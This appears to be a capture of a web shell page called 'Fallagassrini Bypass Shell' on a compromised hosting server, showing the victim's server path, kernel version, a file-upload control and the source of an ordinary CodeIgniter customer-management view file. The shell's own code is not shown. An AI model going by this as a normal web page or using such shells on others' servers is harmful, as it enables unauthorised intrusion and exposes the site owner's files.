? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sibs_draft/system/application/views/Customer/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sibs_draft/system/application/views/Customer/customerheader.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>


       


<script>
	
	
	
	function loadcustomerList()
	{
		
		HideallDiv();
		$('#customerList').html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
		$('#customerList').load("<?php echo site_url('customer/listSearchcustomer/customers~code'); ?>/1/" +  $('#searchtext').val(),function(){
			document.getElementById("addmenu").style.display = "block";
			document.getElementById("customerList").style.display = "block";
			
		});
		
	}

	function edit_Individual_customer_details()
	{
		/*
		FUNCTION TO SUBMIT THE EDIT CUSTOMER DETAILS FORM USING AJAX FORM SUBMIT
		*/
               
               if(validateform('cty_id','ctry','txtCustname'))
               {
                  
		$('#customForm').ajaxForm(function(data) {
			
			loadcustomerList();
		});
               }
               else
               {
                   return false;
               }
	}
	
	function edit_Corprate_customer_details()
	{
		/*
		FUNCTION TO SUBMIT THE EDIT CUSTOMER DETAILS FORM USING AJAX FORM SUBMIT
		*/
               
             if(validateform('cty_id','ctry','txtcustname'))
               {
                   
		$('#EditCorpCustForm').ajaxForm(function(data) {
			
			
                        loadcustomerList();
		});
               }
               else
               {
                   return false;
               }
	}



        function Insert_Individual_customer_details()
    {
       if(validateform('cty_id','ctry','txtCustname','employee_id'))
       {
            
           $('#new').ajaxForm(function(data) {
                   
                   //alert('praveen');
                    loadcustomerList();

            });
       }
       else
       {
         return false;
       }
    }




//	function Insert_Individual_customer_details()
//	{
//		/*
//		FUNCTION TO SUBMIT THE INSERT INDIVIDUAL CUSTOMER DETAILS FORM USING AJAX FORM SUBMIT
//		*/
//               if(validateform('cty_id','ctry','txtCustname','ename'))
//               {
//			//converttodate('date','DOB');
//			$('#IndCustForm').ajaxForm(function(data) {
//
//				alert(data);
//				loadcustomerList();
//			});
//               }
//               else
//               {
//                   return false;
//               }
//               return false;
//        }
	
	function Insert_Corprate_customer_details()
	{
		/*
		FUNCTION TO SUBMIT THE INSERT CORPRATE CUSTOMER DETAILS FORM USING AJAX FORM SUBMIT
		*/
           
            if(validateform('cty_id','ctry','txtCustname','employee_id'))
               {
		 //alert('gggggggggggggg');
                $('#123CorpCustForm1').ajaxForm(function(data) {
			
			
			loadcustomerList();
		});
               }
               else
               {
                   return false;
               }
	}
	
	
	
	$(window).load( function()
	{
		
		loadcustomerList();
	});

	function HideallDiv()
	{
		document.getElementById("selectCusttype1").style.display = "none";
		document.getElementById("custregdiv").style.display = "none";
		document.getElementById("customerList").style.display = "none";
		document.getElementById("addmenu").style.display = "none";
		document.getElementById("backmenu").style.display = "none";
	}
	function searchCust()
	{
		HideallDiv();
		document.getElementById("addmenu").style.display = "block";
		document.getElementById("customerList").style.display = "block";
                var mystring= $('#searchtext').val();
                mystring = mystring.replace(/\s+/ig, "~");
		$('#customerList').load("<?php echo site_url('customer/listSearchcustomer/'); ?>/"+ $('#selectoption').val()+ "/1/" +  mystring);
	}
	  function searchCust1(searchtext,searchoption,pageno)
	  {
	    HideallDiv();
	    document.getElementById("addmenu").style.display = "block";
	    document.getElementById("customerList").style.display = "block";
	    $('#customerList').load("<?php echo site_url('customer/listSearchcustomer/'); ?>/"+ searchoption + "/" +  pageno +"/" +  searchtext);
	  }
	
	function viewthiscust(rwd,id)
	{


                 $("#ck_permission").load("<?= site_url('master/check_permissions/') ?>"+"/"+rwd,function(data)
  {
  if(data==1)
       {
             HideallDiv();

                        document.getElementById("custregdiv").innerHTML="";
                        $('#custregdiv').load("<?php echo site_url('customer/listsinglecustomer/'); ?>/"+ id);
                        document.getElementById("editCustHidden").value=id;
                        var newid="Mytext_"+id;
                        document.getElementById("backmenu").style.display="block";
                        document.getElementById("custregdiv").style.display = "block";
               }

          });


		
	}
	function Editcust(rwd,$id)
	{
		

                               $("#ck_permission").load("<?= site_url('master/check_permissions/') ?>"+"/"+rwd,function(data)
                  {
                  if(data==1)
                       {
                      HideallDiv();
                                document.getElementById("custregdiv").innerHTML="";
                                $('#custregdiv').load("<?php echo site_url('customer/editcustomer/'); ?>/"+ $id,{},
                                function(data)
                                {
                                        document.getElementById("customerList").style.display = "none";
                                        document.getElementById("addmenu").style.display="none";
                                        document.getElementById("backmenu").style.display="block";
                                        document.getElementById("custregdiv").style.display = "block";

                                });
                       }

                  });

		
	}
	
	function Deletecust(rwd,$id)
	{
         
		 $("#ck_permission").load("<?= site_url('master/check_permissions/') ?>"+"/"+rwd,function(data)
                {
          if(data==1)
               {
                            var x = confirm("Confirm Are you sure do you want to delete this customer!");
                        if(x)
                        {

                            $.ajax({
                           type: "POST",
                           url: "<?= site_url('customer/checkcustomertransaction') ?>",
                           data: "id="+$id,
                           success: function(msg)
                           {


                            if(msg>0)

                                   {
                                    alert("This customer has transactions in accounting")
                                   }
                                   else
                                       {
                                          HideallDiv();
                                document.getElementById("customerList").innerHTML="";
                                $('#custregdiv').load("<?php echo site_url('customer/deletecustomers/'); ?>/"+ $id,{},
                                function(data)
                                {
                                        if(data>0)
                                        {
                                            $('#customerList').load("<?php echo site_url('customer/listSearchcustomer/customers~code'); ?>/1/" +  $('#searchtext').val());
                                            document.getElementById("customerList").style.display = "block";
                                            alert("Customer Deleted Sucessfully!");
                                            document.getElementById("addmenu").style.display="block";
                                        }
                                        else
                                        {
                                            $('#customerList').load("<?php echo site_url('customer/listSearchcustomer/customers~code'); ?>/1/" +  $('#searchtext').val());
                                            document.getElementById("customerList").style.display = "block";
                                            document.getElementById("addmenu").style.display="block";
                                          $('#successdiv').load("<?php echo site_url('customer/loaderror/'); ?>");
                                        }


                                });


                                       }

                           },
                           async:false


                           });


                               

                             
                        }

               }

          });


                
	}

	function onchan()
	{
		var src =document.getElementById("custtypeid").value;
                $('#custregdiv').html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
		$('#custregdiv').load("<?php echo site_url('customer/custtype/'); ?>/"+ src);
	};
	function backtomain()
	{
		
		HideallDiv();
		document.getElementById("addmenu").style.display = "block";
		document.getElementById("backmenu").style.display = "none";
		document.getElementById("customerList").style.display = "block";
		
	}
	function onchan2()
	{
		
		HideallDiv();
		document.getElementById("custregdiv").innerHTML="";
		$('#custregdiv').load("<?php echo site_url('customer/custtype/'); ?>/" + "other");
		document.getElementById("customerList").style.display = "block";
		document.getElementById("addmenu").style.display = "block";
		
	};

	function showHideDiv(rwd)
	{
		

                $("#ck_permission").load("<?= site_url('master/check_permissions/') ?>"+"/"+rwd,function(data)
  {
  if(data==1)
       {
      document.getElementById("custregdiv").innerHTML="";
		$('#selectCusttype1').load("<?php echo site_url('customer/loadSelectCustCombo/'); ?>");
		HideallDiv();
		document.getElementById("backmenu").style.display = "block";
		document.getElementById("selectCusttype1").style.display = "block";
		document.getElementById("custregdiv").style.display = "block";
       }

  });

		
	}

	function loadcity(val)
	{
		$('#loadcitydiv').html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
		$("#loadcitydiv").load("<?= site_url('customer/ajaxloadcountrycity/viewcity/') ?>" +"/" +val);
	}
	

	function showEmpPick()
	{
		$(".pickEmp").colorbox({width:"50%",height:"70%",top:"1000px", inline:true, href:"#PickEmployee"});
	}
	function listsearchemployee()
	{
		//this function not in use may be in future
		$('#customerList').load("<?php echo site_url('customer/listsearchemployee/'); ?>");
	}





       
</script>
 


bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net